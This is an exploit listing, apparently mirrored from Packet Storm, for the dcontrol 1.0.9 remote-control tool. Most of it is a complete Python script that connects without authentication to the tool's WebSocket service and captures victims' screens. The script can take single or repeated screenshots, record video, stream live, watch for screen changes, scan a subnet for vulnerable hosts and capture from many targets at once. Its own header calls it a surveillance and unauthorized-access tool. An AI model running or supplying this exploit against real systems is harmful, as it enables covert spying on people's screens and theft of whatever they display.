Lucene search
K

📄 dcontrol 1.0.9 Screen Capture

🗓️ 02 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 14 Views

Dcontrol version 1.0.9 exposes an unauthenticated remote screen capture and surveillance exploit via a WebSocket service.

Code
==================================================================================================================================
    | # Title     : dcontrol v1.0.9 – Unauthenticated Remote Screen Capture and Surveillance Exploit                                 |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/dhjz/dcontrol/releases/download/1.0.9/dcontrol.exe                                            |
    ==================================================================================================================================
    
    [+] Summary    : The script is a fully featured remote screen-capture client targeting an exposed WebSocket service (/ws) associated with a “dcontrol” deployment. 
                     It includes capabilities that move beyond diagnostic or administrative testing into active surveillance and unauthorized access workflows.
    				 
    [+] POC        : Examples:
                             Single screenshot                 : python3 1.py -t 192.168.1.100
    
                             Multiple screenshots              : python3 1.py -t 192.168.1.100 --multi 20 --interval 2
    
                             Record video (30 seconds, 2 FPS)  : python3 1.py -t 192.168.1.100 --record --duration 30 --fps 2
    
                             Monitor for changes               : python3 1.py -t 192.168.1.100 --monitor --interval 5
    
                             Interactive mode                  : python3 1.py -t 192.168.1.100 --interactive
    
                             Scan network                      : python3 1.py --scan 192.168.1
    
    #!/usr/bin/env python3
    
    import asyncio
    import websockets
    import gzip
    import base64
    import argparse
    import sys
    import os
    import time
    import json
    import threading
    from datetime import datetime
    from PIL import Image
    import io
    import cv2
    import numpy as np
    
    class DControlExploit:
        def __init__(self, target_host, target_port=666, ssl=False):
            """
            Initialize dcontrol exploit
            """
            self.target_host = target_host
            self.target_port = target_port
            self.ssl = ssl
            self.ws_url = f"{'wss' if ssl else 'ws'}://{target_host}:{target_port}/ws"
            self.websocket = None
            self.screenshot_count = 0
            self.video_writer = None
            self.recording = False
            
        async def connect(self):
            """Establish WebSocket connection"""
            try:
                print(f"[*] Connecting to {self.ws_url}")
                self.websocket = await websockets.connect(
                    self.ws_url,
                    timeout=10,
                    ping_interval=None
                )
                print(f"[+] Connected successfully to dcontrol service")
                return True
            except Exception as e:
                print(f"[-] Failed to connect: {e}")
                return False
        
        async def disconnect(self):
            """Close WebSocket connection"""
            if self.websocket:
                await self.websocket.close()
                print("[*] Connection closed")
        
        async def capture_single_screenshot(self, quality=50, output_file=None):
            """
            Capture a single screenshot
            quality: 1-100 (compression level, lower = smaller file)
            """
            if not self.websocket:
                if not await self.connect():
                    return None
            
            try:
                print(f"[*] Requesting screenshot (quality: {quality})...")
                await self.websocket.send(f'screen,{quality}')
                data = await self.websocket.recv()
                decompressed = gzip.decompress(data)
                if not output_file:
                    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
                    output_file = f"screenshot_{timestamp}.jpg"
                
                with open(output_file, 'wb') as f:
                    f.write(decompressed)
                
                file_size = len(decompressed) / 1024
                print(f"[+] Screenshot captured! Saved as: {output_file} ({file_size:.2f} KB)")
                try:
                    img = Image.open(io.BytesIO(decompressed))
                    print(f"[*] Image dimensions: {img.size[0]}x{img.size[1]}")
                except:
                    pass
                
                return output_file
                
            except Exception as e:
                print(f"[-] Failed to capture screenshot: {e}")
                return None
        
        async def capture_multiple_screenshots(self, count=10, interval=1, quality=50, output_dir="screenshots"):
            """
            Capture multiple screenshots at specified intervals
            """
            print(f"[*] Capturing {count} screenshots every {interval} second(s)...")
            os.makedirs(output_dir, exist_ok=True)
            
            screenshots = []
            
            for i in range(count):
                print(f"\n[*] Screenshot {i+1}/{count}")
                timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
                filename = os.path.join(output_dir, f"screenshot_{timestamp}_{i+1}.jpg")
                
                result = await self.capture_single_screenshot(quality, filename)
                if result:
                    screenshots.append(result)
                
                if i < count - 1:
                    print(f"[*] Waiting {interval} seconds...")
                    await asyncio.sleep(interval)
            
            print(f"\n[+] Captured {len(screenshots)} screenshots in '{output_dir}'")
            return screenshots
        
        async def start_video_recording(self, duration=None, fps=1, quality=50, output_file=None):
            """
            Record video by capturing screenshots continuously
            """
            if not output_file:
                timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
                output_file = f"screen_recording_{timestamp}.mp4"
            
            print(f"[*] Starting video recording (FPS: {fps})")
            print(f"[*] Output file: {output_file}")
            if duration:
                print(f"[*] Duration: {duration} seconds")
            print("[*] Press Ctrl+C to stop recording")
            
            frames = []
            self.recording = True
            start_time = time.time()
            frame_count = 0
            
            try:
                while self.recording:
                    frame_start = time.time()
                    frame_data = await self.capture_single_screenshot(quality)
                    
                    if frame_data:
                        img = Image.open(frame_data)
                        frames.append(np.array(img))
                        frame_count += 1
                        elapsed = time.time() - frame_start
                        delay = max(0, (1.0 / fps) - elapsed)
                        if duration and (time.time() - start_time) >= duration:
                            print(f"\n[*] Recording completed ({duration} seconds)")
                            break
                        
                        if delay > 0:
                            await asyncio.sleep(delay)
                    if frame_data and os.path.exists(frame_data):
                        os.remove(frame_data)
                if frames:
                    print(f"[*] Creating video from {frame_count} frames...")
                    self.create_video(frames, output_file, fps)
                    print(f"[+] Video saved: {output_file}")
                else:
                    print("[-] No frames captured")
                    
            except KeyboardInterrupt:
                print("\n[*] Recording stopped by user")
                if frames:
                    self.create_video(frames, output_file, fps)
                    print(f"[+] Video saved: {output_file}")
            except Exception as e:
                print(f"[-] Recording error: {e}")
            
            self.recording = False
            return output_file
        
        def create_video(self, frames, output_file, fps):
            """Convert frames to video file"""
            if not frames:
                return
            
            height, width = frames[0].shape[:2]
            fourcc = cv2.VideoWriter_fourcc(*'mp4v')
            out = cv2.VideoWriter(output_file, fourcc, fps, (width, height))
            
            for frame in frames:
                frame_bgr = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
                out.write(frame_bgr)
            
            out.release()
        
        async def live_stream(self, quality=30, fps=0.5):
            """
            Live streaming mode - continuously capture and display screenshots
            """
            print(f"[*] Starting live stream mode (FPS: {fps})")
            print("[*] Press Ctrl+C to stop")
            
            try:
                while True:
                    frame_start = time.time()
                    data = await self.capture_single_screenshot(quality)
                    
                    if data:
                        try:
                            img = Image.open(data)
                            img.show()  
                        except:
                            pass
                        
                        print(f"[*] Frame captured at {datetime.now().strftime('%H:%M:%S')}")
                    if data and os.path.exists(data):
                        os.remove(data)
                    elapsed = time.time() - frame_start
                    delay = max(0, (1.0 / fps) - elapsed)
                    await asyncio.sleep(delay)
                    
            except KeyboardInterrupt:
                print("\n[*] Live stream stopped")
        
        async def monitor_changes(self, interval=2, quality=30, threshold=0.95):
            """
            Monitor screen for changes and save when significant change detected
            """
            print(f"[*] Monitoring screen for changes (interval: {interval}s)")
            print("[*] Press Ctrl+C to stop")
            
            previous_image = None
            changes_dir = f"screen_changes_{datetime.now().strftime('%Y%m%d_%H%M%S')}"
            os.makedirs(changes_dir, exist_ok=True)
            
            try:
                while True:
                    data = await self.capture_single_screenshot(quality)
                    
                    if data:
                        current_image = Image.open(data)
                        
                        if previous_image:
                            similarity = self.compare_images(previous_image, current_image)
                            
                            if similarity < threshold:
                                timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
                                filename = os.path.join(changes_dir, f"change_{timestamp}.jpg")
                                current_image.save(filename)
                                print(f"[!] Screen change detected! Similarity: {similarity:.2%}")
                                print(f"[+] Saved: {filename}")
                        
                        previous_image = current_image
                        os.remove(data)
                    
                    await asyncio.sleep(interval)
                    
            except KeyboardInterrupt:
                print(f"\n[*] Monitoring stopped. Changes saved in '{changes_dir}'")
        
        def compare_images(self, img1, img2):
            """Compare two images and return similarity score"""
            img1_gray = img1.convert('L').resize((100, 100))
            img2_gray = img2.convert('L').resize((100, 100))
            arr1 = np.array(img1_gray)
            arr2 = np.array(img2_gray)
            mse = np.mean((arr1 - arr2) ** 2)
            max_mse = 255 ** 2
            
            similarity = 1 - (mse / max_mse)
            return similarity
        
        async def interactive_mode(self):
            """Interactive shell for screen capture"""
            print("""
    ╔═══════════════════════════════════════════════════════════════╗
    ║     dcontrol v1.0.9 - Remote Screen Capture Exploit           ║
    ║     Unauthenticated WebSocket Access by indoushka             ║
    ╚═══════════════════════════════════════════════════════════════╝
    
    Commands:
      capture [quality]     - Capture single screenshot (quality: 1-100)
      multi <count> [interval] - Capture multiple screenshots
      record [duration] [fps] - Record video (duration in seconds, fps default 1)
      stream [fps]         - Live streaming mode
      monitor [interval]   - Monitor screen for changes
      info                 - Show connection info
      help                 - Show this help
      exit/quit           - Exit exploit
    
    Examples:
      > capture 50
      > multi 10 2
      > record 30 2
      > stream 0.5
      > monitor 3
    """)
            
            if not await self.connect():
                return
            
            while True:
                try:
                    cmd = input(f"\n[dcontrol@{self.target_host}]> ").strip().lower()
                    
                    if not cmd:
                        continue
                    
                    if cmd == 'exit' or cmd == 'quit':
                        print("[*] Exiting...")
                        break
                    
                    elif cmd == 'info':
                        print(f"Target: {self.target_host}:{self.target_port}")
                        print(f"WebSocket URL: {self.ws_url}")
                        print(f"Status: {'Connected' if self.websocket else 'Disconnected'}")
                    
                    elif cmd.startswith('capture'):
                        parts = cmd.split()
                        quality = int(parts[1]) if len(parts) > 1 else 50
                        await self.capture_single_screenshot(quality)
                    
                    elif cmd.startswith('multi'):
                        parts = cmd.split()
                        count = int(parts[1]) if len(parts) > 1 else 5
                        interval = int(parts[2]) if len(parts) > 2 else 1
                        await self.capture_multiple_screenshots(count, interval)
                    
                    elif cmd.startswith('record'):
                        parts = cmd.split()
                        duration = int(parts[1]) if len(parts) > 1 else None
                        fps = int(parts[2]) if len(parts) > 2 else 1
                        await self.start_video_recording(duration, fps)
                    
                    elif cmd.startswith('stream'):
                        parts = cmd.split()
                        fps = float(parts[1]) if len(parts) > 1 else 0.5
                        await self.live_stream(fps=fps)
                    
                    elif cmd.startswith('monitor'):
                        parts = cmd.split()
                        interval = int(parts[1]) if len(parts) > 1 else 2
                        await self.monitor_changes(interval)
                    
                    elif cmd == 'help':
                        print(__doc__)
                    
                    else:
                        print("Unknown command. Type 'help' for available commands")
                        
                except KeyboardInterrupt:
                    print("\n[*] Interrupted")
                    break
                except Exception as e:
                    print(f"[-] Error: {e}")
            
            await self.disconnect()
    
    class BatchExploit:
        """Batch operations for multiple targets"""
        
        @staticmethod
        async def scan_network(subnet, port=666):
            """Scan network for vulnerable dcontrol instances"""
            print(f"[*] Scanning {subnet}.0/24 for dcontrol services...")
            
            hosts = []
            for i in range(1, 255):
                ip = f"{subnet}.{i}"
                try:
                    ws_url = f"ws://{ip}:{port}/ws"
                    ws = await websockets.connect(ws_url, timeout=3)
                    await ws.close()
                    print(f"[+] Found dcontrol at {ip}:{port}")
                    hosts.append(ip)
                except:
                    pass
            
            print(f"\n[*] Found {len(hosts)} vulnerable hosts")
            return hosts
        
        @staticmethod
        async def exploit_multiple(hosts, quality=50, output_dir="batch_captures"):
            """Capture screenshots from multiple targets"""
            os.makedirs(output_dir, exist_ok=True)
            
            tasks = []
            for host in hosts:
                exploit = DControlExploit(host)
                tasks.append(exploit.capture_single_screenshot(quality))
            
            results = await asyncio.gather(*tasks, return_exceptions=True)
            
            for host, result in zip(hosts, results):
                if result and not isinstance(result, Exception):
                    print(f"[+] {host}: Screenshot saved")
    
    def create_gif_from_screenshots(screenshot_dir, output_file="animation.gif", duration=500):
        """Create GIF from multiple screenshots"""
        from PIL import ImageSequence
        
        images = []
        for file in sorted(os.listdir(screenshot_dir)):
            if file.endswith('.jpg') or file.endswith('.png'):
                images.append(Image.open(os.path.join(screenshot_dir, file)))
        
        if images:
            images[0].save(
                output_file,
                save_all=True,
                append_images=images[1:],
                duration=duration,
                loop=0
            )
            print(f"[+] GIF created: {output_file}")
    
    def main():
        parser = argparse.ArgumentParser(
            description='dcontrol v1.0.9 - Unauthenticated Remote Screen Capture',
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog='''
    Examples:
      # Single screenshot
      python3 %(prog)s -t 192.168.1.100
      
      # Multiple screenshots
      python3 %(prog)s -t 192.168.1.100 --multi 20 --interval 2
      
      # Record video (30 seconds, 2 FPS)
      python3 %(prog)s -t 192.168.1.100 --record --duration 30 --fps 2
      
      # Monitor for changes
      python3 %(prog)s -t 192.168.1.100 --monitor --interval 5
      
      # Interactive mode
      python3 %(prog)s -t 192.168.1.100 --interactive
      
      # Scan network
      python3 %(prog)s --scan 192.168.1
            '''
        )
        parser.add_argument('-t', '--target', help='Target IP address')
        parser.add_argument('-p', '--port', type=int, default=666, help='Target port (default: 666)')
        parser.add_argument('--ssl', action='store_true', help='Use WSS instead of WS')
        parser.add_argument('-q', '--quality', type=int, default=50, 
                            help='Image quality 1-100 (default: 50)')
        parser.add_argument('-o', '--output', help='Output file name')
        parser.add_argument('--multi', type=int, help='Number of screenshots to capture')
        parser.add_argument('--interval', type=int, default=1, 
                            help='Interval between captures in seconds (default: 1)')
        parser.add_argument('--record', action='store_true', help='Record video')
        parser.add_argument('--duration', type=int, help='Recording duration in seconds')
        parser.add_argument('--fps', type=float, default=1, help='Frames per second (default: 1)')
        parser.add_argument('--monitor', action='store_true', help='Monitor screen for changes')
        parser.add_argument('--threshold', type=float, default=0.95, 
                            help='Change detection threshold (default: 0.95)')
        parser.add_argument('--scan', metavar='SUBNET', help='Scan subnet for vulnerable hosts')
        parser.add_argument('--batch-file', help='File containing list of targets (one per line)')
        parser.add_argument('-i', '--interactive', action='store_true', 
                            help='Interactive mode')
        
        args = parser.parse_args()
    
        if args.scan:
            hosts = asyncio.run(BatchExploit.scan_network(args.scan, args.port))
            if hosts:
                print("\n[*] Found hosts:")
                for host in hosts:
                    print(f"  - {host}")
            sys.exit(0)
    
        if args.batch_file:
            with open(args.batch_file, 'r') as f:
                hosts = [line.strip() for line in f if line.strip()]
            asyncio.run(BatchExploit.exploit_multiple(hosts, args.quality))
            sys.exit(0)
    
        if not args.target:
            parser.print_help()
            sys.exit(1)
        exploit = DControlExploit(args.target, args.port, args.ssl)
        if args.interactive:
            asyncio.run(exploit.interactive_mode())
            sys.exit(0)
        if args.record:
            asyncio.run(exploit.start_video_recording(args.duration, args.fps, args.quality, args.output))
            sys.exit(0)
        if args.monitor:
            asyncio.run(exploit.monitor_changes(args.interval, args.quality, args.threshold))
            sys.exit(0)
        if args.multi:
            asyncio.run(exploit.capture_multiple_screenshots(args.multi, args.interval, args.quality))
            sys.exit(0)
        asyncio.run(exploit.capture_single_screenshot(args.quality, args.output))
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation